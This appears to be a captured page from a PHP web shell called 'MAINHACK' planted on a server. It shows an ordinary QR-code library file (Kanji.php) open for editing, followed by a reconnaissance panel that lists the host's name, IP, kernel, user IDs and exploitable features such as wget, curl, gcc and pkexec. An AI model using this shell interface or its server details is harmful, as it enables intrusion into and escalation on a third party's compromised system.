[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Kanji.php
<?php /** * Class Kanji * * @filesource Kanji.php * @created 25.11.2015 * @package chillerlan\QRCode\Data * @author Smiley <smiley@chillerlan.net> * @copyright 2015 Smiley * @license MIT */ namespace chillerlan\QRCode\Data; use chillerlan\QRCode\QRCode; use function mb_strlen, ord, sprintf, strlen; /** * Kanji mode: double-byte characters from the Shift JIS character set * * ISO/IEC 18004:2000 Section 8.3.5 * ISO/IEC 18004:2000 Section 8.4.5 */ final class Kanji extends QRDataAbstract{ protected int $datamode = QRCode::DATA_KANJI; protected array $lengthBits = [8, 10, 12]; /** * @inheritdoc */ protected function getLength(string $data):int{ return mb_strlen($data, 'SJIS'); } /** * @inheritdoc * * @throws \chillerlan\QRCode\Data\QRCodeDataException on an illegal character occurence */ protected function write(string $data):void{ $len = strlen($data); for($i = 0; $i + 1 < $len; $i += 2){ $c = ((0xff & ord($data[$i])) << 8) | (0xff & ord($data[$i + 1])); if($c >= 0x8140 && $c <= 0x9FFC){ $c -= 0x8140; } elseif($c >= 0xE040 && $c <= 0xEBBF){ $c -= 0xC140; } else{ throw new QRCodeDataException(sprintf('illegal char at %d [%d]', $i + 1, $c)); } $this->bitBuffer->put(((($c >> 8) & 0xff) * 0xC0) + ($c & 0xff), 13); } if($i < $len){ throw new QRCodeDataException(sprintf('illegal char at %d', $i + 1)); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002